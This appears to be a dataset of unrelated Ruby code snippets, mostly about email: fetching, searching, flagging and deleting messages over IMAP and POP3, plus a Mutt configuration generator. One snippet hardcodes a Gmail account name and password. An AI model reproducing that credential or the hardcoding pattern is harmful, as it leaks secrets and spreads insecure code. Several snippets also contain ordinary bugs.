"def messages\n selected_label = params[:label].blank? ? 'INBOX' : params[:label]\n \n begin\n\n unless selected_label.blank?\n @imap = WmailImapUtils.current_imap\n @imap.select(selected_label)\n @status = @imap.status(selected_label, ['MESSAGES', 'RECENT', 'UNSEEN'])\n max = @status['MESSAGES']\n min = @status['MESSAGES']-10\n @max = 10\n @min = 1\n @mailbox = selected_label\n @inbox = []\n\n min = 1 if (max <= 10 and max > 0)\n\n @inbox = @imap.fetch(min..max, 'ENVELOPE')\n @unseen_flags = @imap.search(['NOT','SEEN'])\n @imap.expunge\n end\n\n session[:selected_label] = selected_label\n \n respond_to do|format|\n format.html\n format.js\n end\n\n rescue\n\n respond_to do|format|\n format.html {redirect_to authenticate_wmail_accounts_path(:redirect => messages_mailbox_path(:label => selected_label)),\n :alert => 'Connection Lost. Please login to your account'}\n format.js\n end\n \n end\n \n end",
"def move_to_inbox(options = {})\n update_receipts({ mailbox_type: :inbox, trashed: false }, options)\n end",
"def mails\n\n begin\n @imap = WmailImapUtils.current_imap\n \n if not @imap.blank?\n @mailbox = params['mailbox']\n @min = params['min'].to_i\n @max = params['max'].to_i\n @total = params['total'].to_i\n\n @imap.select(@mailbox)\n @mails = @imap.fetch(@total-@max..@total-@min, 'ENVELOPE')\n @unseen_flags = @imap.search(['NOT','SEEN'])\n end\n rescue\n redirect_to authenticate_wmail_accounts_path(:redirect => messages_mailbox_path(:label => selected_label)),\n :alert => 'Connection Lost. Please login to your account'\n end\n end",
"def get_messages where = \"inbox\", opts = {}\n query = {\n mark: false\n }\n query.merge! opts\n get(\"/message/#{where}.json\", query: query)\n end",
"def mark_as_read(options = {})\n default_options = {}\n add_mailbox_condition!(default_options, @type)\n return update_mail(\"mail_items.read = true\", default_options, options)\n end",
"def sync\n imap = imap_login\n imap.search([\"NOT\", \"SEEN\"]).each do |message_id|\n envelope = imap.fetch(message_id, \"ENVELOPE\")[0].attr[\"ENVELOPE\"]\n puts \"#{envelope.from[0].name}: \\t#{envelope.subject}\"\n\n # TODO right now we are hardcoding the regex's which are used in matching\n # and extracting data out of the incoming mail, at some point this\n # should be customizable by the end user\n\n # TODO we are assuming that all messages matching the criteria retrieved\n # from this imap account belong to this mailing list\n\n # handle subscription confirmation\n if envelope.subject =~ /^\\s*confirm\\s*([a-f0-9]*)\\s*$/\n puts \"confirm subscription #{$1}\"\n smtp = smtp_login\n message = message_for :address => request_address, :subject => \"confirm #{$1}\", :body => \"confirm #{$1}\"\n smtp.send_message message, @smtp_username, request_address\n smtp.finish\n\n # handle received patches\n elsif envelope.subject =~ /^\\s*\\[PATCH[^\\]]*\\]\\s*#([0-9]*).*$/i\n puts \"Received patch #{$2}\"\n puts \" Associating w/ issue ##{$1}\"\n\n issue = Issue.find $1\n patch = Patch.new :issue_id => issue.id,\n :mailing_list_id => self.id,\n :message_id => envelope.headers['Message-Id'],\n :subject => $2,\n :content => envelope.body\n patch.save!\n\n issue.status = IssueStatus.find_by_name(\"In Progress\")\n issue.save!\n\n # handle chained patches (first one may be the only one w/ the issue id)\n elsif envelope.subject =~ /^\\s*\\[PATCH[^\\]]*\\].*$/i\n # TODO handle multiple levels of patch replies\n parent_message_id = envelope.headers['In-Reply-To']\n parent_patch = Patch.find_by_message_id(parent_message_id)\n\n puts \"Received chained patch #{$2}\"\n puts \" Associating w/ issue ##{parent_patch.issue_id} (parent patch ##{parent_patch.id})\"\n\n patch = Patch.new :issue_id => parent_patch.issue_id,\n :mailing_list_id => self.id,\n :patch_id => parent_patch.id,\n :message_id => envelope.headers['Message-Id'],\n :subject => $2,\n :content => envelope.body\n\n patch.save!\n\n issue.status = IssueStatus.find_by_name(\"In Progress\")\n issue.save!\n\n # handle received patch comments\n elsif envelope.subject =~ /^\\s*RE:\\s*\\[PATCH[^\\]]*\\]\\s*#([0-9]*).*$/i\n # TODO handle multiple levels of replies\n parent_message_id = envelope.headers['In-Reply-To']\n parent_patch = Patch.find_by_message_id(parent_message_id)\n\n puts \"Received response to patch #{$2}\"\n puts \" Associating w/ patch ##{parent_patch.id}\"\n\n patch_comment = PatchComment.new :patch_id => parent_patch.id,\n :message_id => envelope.headers['Message-Id'],\n :content => envelope.body\n\n status = if envelope.body =~ /.*NACK.*/i\n IssueStatus.find_by_name(\"Rejected\")\n elsif envelope.body =~ /.*ACK.*/i\n IssueStatus.find_by_name(\"Resolved\")\n else\n IssueStatus.find_by_name(\"Feedback\")\n end\n\n issue.status = status\n issue.save!\n end\n\n\n end\n end",
"def attempt_multiline(message, &block)\n perform_action(message, true, @passfail, nil, true, false, &block)\nend",
"def initialize(options)\n @options = options\n @verbose = options[:Verbose]\n @boxes = options[:Boxes]\n Net::IMAP.debug = options[:Debug]\n end",
"def shift non_block=false\n @messages.shift(non_block)\n end",
"def attempt_multiline(message, &block)\n perform_action(message, true, nil, false, &block)\nend",
"def search(from,after)\n @mailboxes.each do |mailbox|\n begin\n emails = mailbox.find :from => from,:after => after\n\n emails.reverse.in_groups_of(10,false).each do |group| \n uids = group.map(&:uid)\n fetch_data = @gmail.conn.uid_fetch uids,@imap_key_body\n \n mails = fetch_data.map do |fetch_datum| \n Mail.new CGI.unescapeHTML(fetch_datum.attr[@imap_key_body])\n end \n\n yield mails.reverse if block_given?\n end\n rescue Net::IMAP::NoResponseError \n end\n end #mailboxes\n end",
"def process_mailbox\n handler.process\n end",
"def message\n case @remove\n when 'one'\n puts \"There are no emails #{@search_direction} #{@email} found in the queue\"\n when 'all'\n puts \"There are no emails #{@search_direction} #{@domain} found in the queue\"\n end\n end",
"def scan(&block)\n @processor = block if block\n incoming_config = config.incoming\n if incoming_config.nil?\n logger.error(\"Not scanning for incoming mail, since environment is '#{Kernel.environment}'\")\n return\n end\n\n say \"Starting scan at #{Time.now}\"\n c,e,n = nil,nil\n\n begin\n imap = Net::IMAP.new(incoming_config.server, incoming_config.port, true)\n imap.login(incoming_config.user, incoming_config.secret)\n imap.select('INBOX')\n messages = imap.search([\"NOT\", \"DELETED\"])\n n = messages.size\n c = e = 0\n messages.each do |message_id|\n received_message = nil\n rfc822 = imap.fetch(message_id, \"RFC822\")[0].attr[\"RFC822\"]\n begin\n received_message = receive(rfc822)\n say \"Processed message #{received_message.mail.subject}\"\n c += 1\n rescue Exception => exception\n # todo: move message into an \"error\" folder so it doesn't get reprocessed, but don't delete it\n report_exception(exception)\n say \"Error processing message #{message_id}: #{exception.class.name}: #{exception.message}\"\n e += 1\n ensure\n if received_message && received_message.delete?\n say \"Deleting message #{message_id}\"\n imap.store(message_id, \"+FLAGS\", [:Deleted])\n end\n end\n end\n\n imap.close # Sends a CLOSE command to close the currently selected mailbox. The CLOSE command permanently removes from the mailbox all messages that have the \\Deleted flag set.\n imap.logout\n imap.disconnect\n # NoResponseError and ByeResponseError happen often when imap'ing\n rescue Net::IMAP::NoResponseError, Net::IMAP::ByeResponseError, Errno::ENOTCONN\n # ignore\n rescue Exception => e\n report_exception(e)\n end\n say \"Processed #{c.inspect} of #{n.inspect} emails received (#{e} errors).\"\n end",
"def execute\n @imap = Net::IMAP.new(@imap_setting[:server], @imap_setting[:port])\n @imap.login(@imap_setting[:user], @imap_setting[:password])\n @imap.select(@imap_setting[:folder])\n \n #process all mail read email with test in subject for testing purpose. In reality it will process all emails\n query = imap_setting[:mode] == \"prod\" ? ['NOT', 'SEEN'] : ['SUBJECT', 'test']\n @imap.uid_search(query).each do |uid|\n catch(:continue) do\n mail = TMail::Mail.parse( imap.uid_fetch(uid, 'RFC822').first.attr['RFC822'] )\n from = mail.from\n to = mail.to\n bcc = mail.bcc\n cc = mail.cc\n subject = mail.subject\n msgid = mail.message_id \n date = mail.date\n ref_msgid = [mail.in_reply_to, mail.references].flatten.compact.join(\" \") \n \n #normalize all email addresses\n from.map! {|address| normalize_address(address) }\n to.map! {|address| normalize_address(address) }\n cc.map! {|address| normalize_address(address) } unless cc.is_nil?\n bcc.map! {|address| normalize_address(address) } unless bcc.is_nil?\n\n #find matching user\n user = nil\n user_email = from.find do |f|\n user = User.find_by_email(f.downcase)\n end\n \n if user\n logger.info \"processing email for #{user.username}\"\n if bcc.include?(@imap_setting[:email])\n #if from as user or asignee to as contact and we are in bcc it's outbound\n contacts = to.map do |t|\n #find contact by user or assigned to\n contact = Contact.find_by_email_and_user(t, user)\n if contact.nil?\n contact = Contact.find_by_email_and_assignee(t, user)\n end\n \n if contact.nil?\n #create contact, user is emailing a contact that's not in FFC\n logger.info \"new contact #{t}\"\n contact = Contact.new\n contact.user = user\n contact.email = t\n unless contact.save \n logger.warn \"could not save contact #{t}\"\n contact = nil\n end\n end\n contact\n end\n contacts.compact!\n \n #save mail\n from_list = from.join(\" \")\n to_list = to.join(\" \")\n cc_list = cc.join(\" \")\n bcc_list = bcc.join(\" \")\n body = mail.quoted_body\n save_email(from_list, to_list, subject, cc_list, bcc_list, body, msgid, ref_msgid, date, user, contacts)\n else\n #TODO if fowarded msg has from as user and to as contact it's inbound\n \n end\n \n else\n #unknown sender,this email is not supposed to be in drop box\n logger.warn \"mail from unknown user from: #{from} to: #{to} subject: #{subject}\"\n handle_processed_mail(uid) if @imap_setting[:mode] == \"prod\"\n end\n \n end\n \n end\n @imap.logout\n @imap.disconnect\n \n rescue Net::IMAP::NoResponseError => e\n logger.error \"IMAP server error\"\n rescue Net::IMAP::ByeResponseError => e\n logger.error \"IMAP server error\"\n rescue => e\n logger.error \"IMAP server error\"\n \n end",
"def do_for_all_messages(&block) \n raise ArgumentError, \"FileHandler#do_for_all_messages expects a code block\" unless block_given? \n @messages_as_text.shuffle!\n @messages_as_text.each_slice(@limit) do |set|\n messages = get_messages(set)\n messages.each { |message| yield(message) }\n end\n end",
"def getEmails\n begin\n puts 'attempting to connect to ' + @username + '@gmail.com'\n Gmail.new(@username, @password) do |gmail|\n puts 'connection established'\n #use peek to make emails not be automatically marked as read\n gmail.peek = (@peek === 'true' ? true : false)\n\n if @label == \"none\"\n inbox = gmail.inbox\n boxname = 'inbox'\n else\n inbox = gmail.mailbox(@label)\n boxname = @label + ' box'\n end\n number_unread = inbox.count(:unread)\n if number_unread < 1\n abort(\"There are no new messages in the \" + boxname)\n end\n p \"there are \" + number_unread.to_s + \" unread emails in the \" + boxname\n inbox.emails(:unread).each do |email|\n puts parser(email)\n end\n end\n\n rescue Net::IMAP::NoResponseError\n puts 'connection failed, check your config file for incorrect credentials'\n puts 'perhaps you opted to use a label that doesn\\'t exist, try \"none\" instead'\n end\nend",
"def flag(uid_set, action, flg)\n log \"Flag #{uid_set} #{flg} #{action}\"\n uid_set = uid_set.split(',').map(&:to_i)\n if flg == 'Deleted'\n log \"Deleting uid_set: #{uid_set.inspect}\"\n decrement_max_seqno(uid_set.size)\n # for delete, do in a separate thread because deletions are slow\n spawn_thread_if_tty do \n unless @mailbox == mailbox_aliases['trash']\n log \"@imap.uid_copy #{uid_set.inspect} to #{mailbox_aliases['trash']}\"\n log @imap.uid_copy(uid_set, mailbox_aliases['trash'])\n end\n log \"@imap.uid_store #{uid_set.inspect} #{action} [#{flg.to_sym}]\"\n log @imap.uid_store(uid_set, action, [flg.to_sym])\n reload_mailbox\n clear_cached_message\n end\n elsif flg == 'spam' || flg == mailbox_aliases['spam'] \n log \"Marking as spam uid_set: #{uid_set.inspect}\"\n decrement_max_seqno(uid_set.size)\n spawn_thread_if_tty do \n log \"@imap.uid_copy #{uid_set.inspect} to #{mailbox_aliases['spam']}\"\n log @imap.uid_copy(uid_set, mailbox_aliases['spam']) \n log \"@imap.uid_store #{uid_set.inspect} #{action} [:Deleted]\"\n log @imap.uid_store(uid_set, action, [:Deleted])\n reload_mailbox\n clear_cached_message\n end\n else\n log \"Flagging uid_set: #{uid_set.inspect}\"\n spawn_thread_if_tty do\n log \"@imap.uid_store #{uid_set.inspect} #{action} [#{flg.to_sym}]\"\n log @imap.uid_store(uid_set, action, [flg.to_sym])\n end\n end\n end",
"def empty_mailboxes\n\t\t\tempty_mailbox\n\t\t\tempty_temp_mailbox\n\t\tend",
"def receive(*states)\n Thread.new do\n begin\n @tell.each do |address, q|\n if states.any? { |state| p state; q === state }\n email address, states.last\n end\n end\n rescue Exception => e\n @server.log.error e\n end\n end\n end",
"def send_pending_messages\n self.mailbox.conversations.where(mailboxer_label_id: Mailboxer::Label::INFORMATION.id).each do |conversation|\n # Get the message that should have been sent\n message = conversation.messages.first\n # Select the admin who should receive the message\n recipient = message.recipients.detect{ |recipient| recipient.is_a? Admin }\n MailboxerMessageMailer.delay(queue: 'mailers').new_message_email_to_admin(message, recipient)\n end\n nil\n end",
"def flag_message\n event = flag_events.last\n event.message if event\n end",
"def read_messages_via_imap\n\timap = Net::IMAP.new(server,port,usessl)\n\timap.login(mailid,password)\n\timap.select(folder)\n\tsince = included.blank? ? \"1-Jan-2000\" : included.yesterday.to_date.strftime(\"%e-%b-%Y\")\n\timap.uid_search([\"SINCE\",since]).each do |msg_id|\n\t\tnext unless mailmessages.find_by_uid(msg_id).nil?\n\t\tbody = imap.uid_fetch(msg_id,['RFC822']).first.attr['RFC822']\n\n\t\tMailfolderMailhandler::receive(body,self,msg_id)\n\t\timap.store(msg_id, \"+FLAG\", [:Deleted]) if delete_message?\n\tend\n\timap.expunge if delete_message?\n\timap.logout\n end",
"def find(options = {}, &block)\n options = validate_options(options)\n \n start do |pop3|\n mails = pop3.mails\n pop3.reset # Clears all \"deleted\" marks. This prevents non-explicit/accidental deletions due to server settings.\n mails.sort! { |m1, m2| m2.number <=> m1.number } if options[:what] == :last\n mails = mails.first(options[:count]) if options[:count].is_a? Integer\n \n if options[:what].to_sym == :last && options[:order].to_sym == :desc ||\n options[:what].to_sym == :first && options[:order].to_sym == :asc ||\n mails.reverse!\n end\n \n if block_given?\n mails.each do |mail|\n new_message = Mail.new(mail.pop)\n new_message.mark_for_delete = true if options[:delete_after_find]\n yield new_message\n mail.delete if options[:delete_after_find] && new_message.is_marked_for_delete? # Delete if still marked for delete\n end\n else\n emails = []\n mails.each do |mail|\n emails << Mail.new(mail.pop)\n mail.delete if options[:delete_after_find]\n end\n emails.size == 1 && options[:count] == 1 ? emails.first : emails\n end\n \n end\n end",
"def mail_box; end",
"def change_mailbox(box, read_only=false)\n @current_box = box\n @read_only = read_only\n first = true\n begin\n if(read_only)\n begin\n imap.examine(box)\n rescue Net::IMAP::BadResponseError\n Logger.warn(\"Read-only connection to #{box} failed. Connecting directly\")\n imap.select(box)\n end\n else\n imap.select(box)\n end\n rescue IOError => boom\n if(first)\n Logger.warn(\"Change mailbox failed. Attempting a reconnect and retrying mailbox\")\n first = false\n reconnect\n retry\n else\n Logger.fatal(\"Failed to change mailbox. Connection error assumed: #{boom}\")\n raise boom\n end\n end\n end",
"def receive_inbound_email_from_mail(**kwargs, &block); end",
"def checkbrainmailbox\n #Check if token is present\n logger.info params[\"token\"]\n if APP_CONFIG['token_action'].to_s == params[\"token\"]\n #Start the actual work\n imap = Net::IMAP.new(APP_CONFIG['imap_host'], APP_CONFIG['imap_port'] , APP_CONFIG['imap_ssl'], nil, false)\n imap.authenticate('LOGIN', APP_CONFIG['imap_user'], APP_CONFIG['imap_password'])\n imap.select('INBOX')\n @output = \"Connected to IMAP server\\n\"\n \n @n=0\n #Select unseen messages only\n imap.search([\"NOT\", \"SEEN\"]).each do |message_id|\n \n #Get the full content\n raw = imap.fetch(message_id, \"BODY[]\")[0].attr[\"BODY[]\"]\n imap.store(message_id, '+FLAGS', [:Seen])\n #Parse it with mail library\n mail = Mail.read_from_string(raw)\n token = mail.to.to_s\n #If multipart or auth token not included, then discard the mail and send a warning\n if mail.multipart? or (not token.include?(APP_CONFIG['token_email'].to_s))\n imap.copy(message_id, 'Untreated')\n @output=@output+Time.now.getutc.to_s+\" - 1 untreated mail\\n\"\n send_warning_mail(mail.from, raw) \n else\n content = mail.body.decoded\n name = mail.subject\n date = mail.date\n #Detect if labels are specified in first line\n if content.lines.first.to_s[0]==\"@\"\n labels = content.lines.first.chomp\n content = content.lines.to_a[1..-1].join\n end\n #Here, create the neuron\n @output=@output+Time.now.getutc.to_s+\" - 1 neuron created from a mail\\n\"\n puts \"One neuron created with name '#{name}', labels '#{labels}' and content '#{content}'\"\n neuron = Neuron.new\n neuron.name = name\n neuron.content = content\n neuron.labels = labels\n neuron.date = date\n neuron.save\n imap.copy(message_id, 'Treated')\n end\n imap.store(message_id, '+FLAGS', [:Deleted])\n @n+=1\n end\n imap.expunge #Delete all mails with deleted flags\n imap.close\n end\n render :layout => false\n end",
"def show_message_request(text, type, actions, &block); end",
"def watchMail(imap, folder)\n \n # Loop for checking message increase in the folder\n begin\n \n imap.select(folder)\n \n # Get the current folder size\n fsize = imap.status(folder, [\"MESSAGES\"])\n csize = fsize[\"MESSAGES\"]\n \n loop do\n fsize = imap.status(folder, [\"MESSAGES\"])\n if fsize[\"MESSAGES\"] > csize\n message_ids = imap.uid_search(\"ALL\")\n uid = message_ids.last\n email = imap.uid_fetch(uid, \"ENVELOPE\")[0].attr[\"ENVELOPE\"]\n pp \"[#{email.from[0].name}] #{email.subject}\"\n csize = fsize[\"MESSAGES\"]\n else\n sleep(10)\n end\n end\n rescue => e\n exit(1)\n end\nend",
"def block_eg1(cutblock)\n puts \"this is the first message from 1 \"\n cutblock.call\n puts \"this is the middle message\"\n cutblock.call\n puts \"this is the last\\n\\n\"\nend",
"def retrieve_tweet_ids\n imap = Net::IMAP.new('imap.gmail.com', 993, true, nil, false)\n imap.login(@account['credentials']['email_address'], @account['credentials']['email_password'])\n imap.select('INBOX')\n imap.search([\"NOT\",\"SEEN\"]).each do |message_id|\n msg = imap.fetch(message_id, 'RFC822')[0].attr['RFC822']\n # imap.store(message_id, '+FLAGS', [:Seen])\nputs msg\n end \n imap.logout()\n imap.disconnect()\n end",
"def run\n super \"Cleansing read, unflagged old messages\",\n [:Deleted] do\n @imap.expunge\n log \"Expunged deleted messages\"\n end\n end",
"def find_entries_in_batches(options={}, &block)\n options[:count] ||= :all\n options = validate_options(options)\n mailbox = options[:mailbox]\n batch_size = options.delete(:batch_size) || 5000\n\n start do |imap|\n info \"find_entries_in_batches block\"\n info \"imap.examine #{mailbox}\"\n imap.examine(mailbox)\n info \"imap.responses #{\"UIDVALIDITY\"}\"\n validity = imap.responses[\"UIDVALIDITY\"].first\n info \"imap.examine #{options[:keys]}\"\n uids = imap.uid_search(options[:keys])\n uids.replace(options[:what].to_sym == :last ? uids.last(options[:count]) : uids.first(options[:count])) if options[:count].is_a?(Integer)\n\n if block_given?\n uids.each_slice(batch_size) do |batch|\n results = []\n info \"imap.uid_fetch #{batch} #{\"(UID FLAGS RFC822.SIZE INTERNALDATE BODY.PEEK[HEADER.FIELDS (MESSAGE-ID)])\"}\"\n imap.uid_fetch(batch, \"(UID FLAGS RFC822.SIZE INTERNALDATE BODY.PEEK[HEADER.FIELDS (MESSAGE-ID)])\").each do |data|\n uid = data.attr['UID'].to_i\n flags = data.attr['FLAGS'].map {|flag| flag.to_s.downcase.to_sym}\n message_size = data.attr['RFC822.SIZE'].to_i\n message_date = Time.parse(data.attr['INTERNALDATE'])\n all, message_id = *(data.attr['BODY[HEADER.FIELDS (MESSAGE-ID)]'].match(/.*<(.*)>.*/))\n results << Entry.new(folder: mailbox, validity: validity, uid: uid, flags: flags, message_size: message_size, message_date: message_date, message_id: message_id)\n end\n yield results\n end\n end\n end\n end",
"def notify_flagged(cell); end",
"def archive!\n remove_label(@gmail.inbox_label)\n end",
"def fetch_mail\n# \tp \"Fetching mail...\"\n \tconfig = { :host => 'imap.gmail.com', :port => 993, :username => 'CrowdAssistant', :password => 'CrowdAss'}\n \timap = Net::IMAP.new(config[:host], config[:port], true)\n \timap.login(config[:username], config[:password])\n \timap.select(\"INBOX\")\n \tmessages_to_archive = []\n \timap.search([\"NOT\", \"DELETED\"]).each do |message_id|\n \t\ttask = imap.fetch(message_id, 'BODY[TEXT]')[0].attr['BODY[TEXT]']\n \t\tmessage = imap.fetch(message_id, 'ENVELOPE')[0].attr['ENVELOPE']\n \t\tfrom = \"#{message.sender[0].mailbox}@#{message.sender[0].host}\"\n# p from\n \t\tu = User.find_by_email(from)\n# p u\n \t\tif u\n\t \t\t#Why does an empty resource and resourcetype fail?\n task = task.gsub(\"=\\r\\n\", \"\")\n\t \t\tt = Task.create(:user_id => u.id, :instructions => task, :fields => \"[{\\\"Reply\\\":\\\"t\\\"}]\", :priority => 2, :workflow => \"p\", :redundancy => 2, :resource => \"www.google.com\", :resourcetype => \"l\", :status=>\"Not Started\")\n\t \t\tAssistant.handle(t)\n\t \telse\n#\t \t\tp \"Whoops, some dude who hasn't signed up sent us an email\"\n\t \tend\n \t\tmessages_to_archive << message_id\n \tend\n \timap.store(messages_to_archive, \"+FLAGS\", [:Deleted]) unless messages_to_archive.empty?\n end",
"def find_mailboxes\n mailboxes = @imap.list(@root, \"*\")\n\n if mailboxes.nil? then\n log \"Found no mailboxes under #{@root.inspect}, you may have an incorrect root\"\n return []\n end\n\n mailboxes.reject! { |mailbox| mailbox.attr.include? :Noselect }\n mailboxes.map! { |mailbox| mailbox.name }\n\n @box_re = /^#{Regexp.escape @root}#{Regexp.union(*@boxes)}/\n\n mailboxes.reject! { |mailbox| mailbox !~ @box_re }\n mailboxes = mailboxes.sort_by { |m| m.downcase }\n log \"Found #{mailboxes.length} mailboxes to search:\"\n mailboxes.each { |mailbox| log \"\\t#{mailbox}\" } if @verbose\n return mailboxes\n end",
"def select(mailbox)\n tagged_response(\"SELECT\", to_utf7(mailbox))\n end",
"def flag\n @conversation = @admin.mailbox.conversations.find(params[:id])\n @conversation.update_column :flagged, params[:flag]\n @conversation.update_column :flagged_at, Time.now\n @conversation.update_column :mailboxer_label_id, Mailboxer::Label::CONVERSATION\n @structure.delay.compute_response_rate\n respond_to do |format|\n format.html { redirect_to pro_structure_conversations_path(@structure), notice: \"Le message a été signalé\" }\n end\n end",
"def messages_blocked=(value)\n @messages_blocked = value\n end",
"def append(mailbox, message, flags=nil, date_time=nil)\n args = [to_utf7(mailbox)]\n args << flags if flags\n args << date_time if date_time\n args << Net::IMAP::Literal.new(message)\n tagged_response(\"APPEND\", *args)\n end",
"def create_inbox_with_options(create_inbox_dto, opts = {})\n data, _status_code, _headers = create_inbox_with_options_with_http_info(create_inbox_dto, opts)\n data\n end",
"def list(options)\n messages.select do |m|\n m.type == options[:type] if options[:type]\n end\n end",
"def perform_action(message, multiline, on_fail_msg, abort_on_fail)\n line = \"#{message}... \"\n endline = \"...#{message} \"\n if multiline\n puts line\n else\n print line\n end\n result = yield\n mark = result ? \"✓\" : \"✗\"\n # if multline, put checkmark at full width\n print endline if multiline\n puts mark.rjust(WIDTH - line.length, \" \")\n unless result\n puts on_fail_msg unless on_fail_msg.nil?\n @failure_count += 1\n # print out error messaging here if we've captured it\n terminate if abort_on_fail\n end\n result\nend",
"def set_wait_flags(*flags)\n a = (flags.include?(:a) || flags.include?(:a)) ? '1' : 'X'\n b = (flags.include?(:b) || flags.include?(:b)) ? '1' : 'X'\n c = (flags.include?(:c) || flags.include?(:c)) ? '1' : 'X'\n d = (flags.include?(:d) || flags.include?(:d)) ? '1' : 'X'\n self.wait_flags = d + c + b + a\n self\n end",
"def get_messages\n @connection.uid_search(@filter).each do |message|\n puts \"PROCESSING MESSAGE #{message}\"\n body=@connection.uid_fetch(message,\"RFC822\")[0].attr[\"RFC822\"]\n @processor.process(body, @options)\n @connection.uid_copy(message, 'Processed')\n\n @connection.uid_store(message,\"+FLAGS\",[:Deleted])\n end\n @connection.expunge\n #@connection.delete_all\n end",
"def check_inbox(username, server)\n imap = Net::IMAP.new('imap.gmail.com', 993, true, nil, false)\n imap.login(username, get_keychain_password(username, server))\n imap.examine('INBOX')\n imap.search([\"NOT\", \"SEEN\"]).length\nend",
"def fetch_meli_boxes!(filters={})\n puts \"# AccountSyncWorker.fetch_meli_boxes! filters: #{filters}\"\n query_meli_boxes filters do |partial_orders, data, opts|\n puts \"# AccountSyncWorker.fetch_meli_boxes! opts: #{opts}\"\n add_to_collection partial_orders, opts\n ##\n # TODO\n # Enqueue collection instead of adding to collection\n # enqueue_meli_query opts\n ##\n end\n end",
"def move_to_sentbox(options={})\n update_receipts({:mailbox_type => :sentbox, :trashed => false}, options)\n end",
"def move_to_inbox\n update_attributes(mailbox_type: :inbox, trashed: false)\n end",
"def send_requests(type, msgs, flags=NLM_F_REQUEST, pid=@pid)\n msgs.each_with_index do |msg, index|\n if index < msgs.size - 1\n data << build_message(type, msg, flags|NLM_F_MULTI, next_seq, pid)\n Message.nlmsg_pad(data)\n else\n data << build_message(type, msg, flags, next_seq, pid)\n end\n end\n end",
"def each(&block)\n @messages.each(&block)\n end",
"def create_inbox_with_defaults(opts = {})\n data, _status_code, _headers = create_inbox_with_defaults_with_http_info(opts)\n data\n end",
"def block_message_printer\n message = \"Welcome to Block Message Printer\"\n if block_given?\n proc.call\n end\n puts \"But in this function/method message is :: #{message}\"\n end",
"def each_message( options = {}, &block )\n\n\t\t\topts ={\n\t\t\t\twith: [], # white list - empty means all minus those in without list\n\t\t\t\twithout: ['FMT'] # black list - includes types or names\n\t\t\t}.merge( options || {} )\n\n\t\t\topts[:with].map! do |val|\n\t\t\t\tif val.class == String\n\t\t\t\t\tdescriptor = descriptors.values.find { |desc| desc.name == val }\n\t\t\t\t\tif descriptor\n\t\t\t\t\t\tval = descriptor.type\n\t\t\t\t\telse\n\t\t\t\t\t\tputs \"Failed to find descriptor with name '#{val}'\"\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\n\t\t\topts[:without].map! do |val|\n\t\t\t\tif val.class == String\n\t\t\t\t\tdescriptor = descriptors.values.find { |desc| desc.name == val }\n\n\t\t\t\t\tif descriptor\n\t\t\t\t\t\tval = descriptor.type\n\t\t\t\t\telse\n\t\t\t\t\t\traise \"Failed to find descriptor with name '#{val}'\"\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\n\t\t\tif block_given?\n\n\t\t\t\tloop do\n\n\t\t\t\t\tmessage, offset = LogFile::read_message( @log_file, @message_descriptors )\n\t\t\t\t\tbreak if message.nil?\n\n\t\t\t\t\t# Add message to the set of latest messages.\n\t\t\t\t\t@context.set( message )\n\n\t\t\t\t\tif opts[:with].empty?\n\t\t\t\t\t\tif !opts[:without].include?( message.descriptor.type )\n\t\t\t\t\t\t\tyield message\n\t\t\t\t\t\tend\n\t\t\t\t\telse\n\t\t\t\t\t\tif opts[:with].include?( message.descriptor.type )\n\t\t\t\t\t\t\tyield message\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\n\t\t\t\tend\n\n\t\t\telse\n\t\t\t\traise BlockRequiredError.new\n\t\t\tend\n\n\t\tend",
"def patched_config\n\t\t\tzhooks=<<'EOS'\n## +compressed\n# Handler for gzip compressed mailboxes\nopen-hook '\\.gz$' \"gzip --stdout --decompress '%f' > '%t'\"\nclose-hook '\\.gz$' \"gzip --stdout '%t' > '%f'\"\nappend-hook '\\.gz$' \"gzip --stdout '%t' >> '%f'\"\n# Handler for bzip2 compressed mailboxes\nopen-hook '\\.bz2$' \"bzip2 --stdout --decompress '%f' > '%t'\"\nclose-hook '\\.bz2$' \"bzip2 --stdout '%t' > '%f'\"\nappend-hook '\\.bz2$' \"bzip2 --stdout '%t' >> '%f'\"\n# Handler for xz compressed mailboxes\nopen-hook '\\.xz$' \"xz --stdout --decompress '%f' > '%t'\"\nclose-hook '\\.xz$' \"xz --stdout '%t' > '%f'\"\nappend-hook '\\.xz$' \"xz --stdout '%t' >> '%f'\"\n# Handler for pgp encrypted mailboxes\n# Handler for gpg encrypted mailboxes\n# gpg does not support appending to an encrypted file\nopen-hook '\\.gpg$' \"gpg --decrypt < '%f' > '%t'\"\n# close-hook '\\.gpg$' \"gpg --encrypt --recipient YourGpgUserIdOrKeyId < '%t' > '%f'\"\nEOS\n\n\t\t\tsidebar=<<'EOS'\n## +sidebar\nunset sidebar_visible\nset mail_check_stats\nset sidebar_divider_char = '|'\nset sidebar_format=\"%B%* %! %?N?%N/?%S\"\n#default: set sidebar_format=\"%B%* %?F? !%F ?%?N?%N/?%S\"\n# %B name, %F flagged, %N new, %S total\n# Ctrl-Down: Move the highlight to the prev mailbox\nmacro index,pager <C-Up> \"<enter-command>set sidebar_visible<enter><sidebar-prev>\" \"Move up in the sidebar\"\n# Move the highlight to the next mailbox\nmacro index,pager <C-Down> \"<enter-command>set sidebar_visible<enter><sidebar-next>\" \"Move down in the sidebar\"\n# Open the highlighted mailbox\nbind index,pager \\Co sidebar-open\nmacro index,pager <C-Right> \"<sidebar-open><enter-command>unset sidebar_visible<enter>\" \"Open sidebar folder\"\nmacro index,pager <C-Left> \"<enter-command>toggle sidebar_visible<enter>\" \"Toggle the sidebar\"\n# Shorten mailbox names\nset sidebar_short_path\n# set sidebar_component_depth=1\nset sidebar_delim_chars='/'\nset sidebar_folder_indent\n\n#color sidebar_indicator default color17 # Dark blue background\ncolor sidebar_highlight white color238 # Grey background\ncolor sidebar_spoolfile yellow default # Yellow\ncolor sidebar_new magenta default # Magenta\ncolor sidebar_ordinary default default # Default colors\ncolor sidebar_flagged red default # Red\ncolor sidebar_divider color8 default # Dark grey\nEOS\n\t\t\tattach_headers_color=<<'EOS'\n## +attach_headers_color\n# Color GPGME signature checks\ncolor attach_headers green default \"Good signature from.*\"\ncolor attach_headers red default \"Bad signature from.*\"\nEOS\n\n\t\t\ttag_transforms=<<'EOS'\n# Default, we want to change it to have our emojis :)\n# set hidden_tags=\"unread,draft,flagged,passed,replied,attachment,signed,encrypted\"\nset hidden_tags=\"all,draft,flagged,passed,attachment,signed,encrypted\"\n# 📫 📬\ntag-transforms \\\n \"inbox\" \"🖄\" \\\n \"unread\" \"📧\" 